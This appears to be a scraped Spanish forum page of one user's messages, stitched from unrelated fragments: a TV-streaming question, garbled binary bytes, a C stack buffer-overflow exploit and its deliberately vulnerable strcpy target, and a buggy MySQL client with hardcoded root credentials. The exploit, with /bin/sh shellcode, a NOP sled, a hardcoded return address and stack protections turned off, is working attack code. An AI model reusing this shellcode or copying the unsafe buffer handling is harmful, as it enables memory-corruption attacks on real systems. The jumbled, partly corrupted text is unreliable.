este programa se puede ver en vivo desde otro pais o solo es local y tengo que esperar a que suban los videos en la web?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú�����������������������1�Ph//shh/bin��P��S���
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char exp[] = "./vuln";
char nops[23] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);
sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);
system(cmd);
free(cmd);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void soy_vuln(char *arg){
char buff[48];
strcpy(buff, arg);
printf("%s", buff);
}
int main(int argc, char *argv[]){
if(argc != 2) return 1;
soy_vuln(argv[1]);
}
printf("%d %s\n",i , first[2]);
#include <mysql.h>
#include <stdio.h>
MYSQL *conn;
MYSQL_RES *res;
MYSQL_ROW row;
char *id;
char *first[5];
char *last;
int i = 0;
int main(){
char *server = "localhost";
char *user = "root";
char *password = "toor";
char *database = "database";
conn = mysql_init(NULL);
if(!mysql_real_connect(conn, server, user, password, database, 0, NULL, 0)){
fprintf(stderr, "%s\n", mysql_error(conn));}
if (mysql_query(conn, "show tables")){
fprintf(stderr, "%s\n", mysql_error(conn));}
res = mysql_use_result(conn);
printf("Base de datos en mysql: \n");
while((row = mysql_fetch_row(res)) != NULL){
printf("%s \n", row[0]);}
if (mysql_query(conn, "SELECT * FROM contacts")){
fprintf(stderr, "%s\n", mysql_error(conn));}
res = mysql_use_result(conn);
/////////////////////////////////////////////////////// ESTO ES LO QUE NO ME FUNCIONA////////////////////////
while((row = mysql_fetch_row(res)) != NULL){
i = i + 1;
first[i] = row[i];
}
printf("%d %s\n",i , first[0]);
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
mysql_free_result(res);
mysql_close(conn);
return 0;
}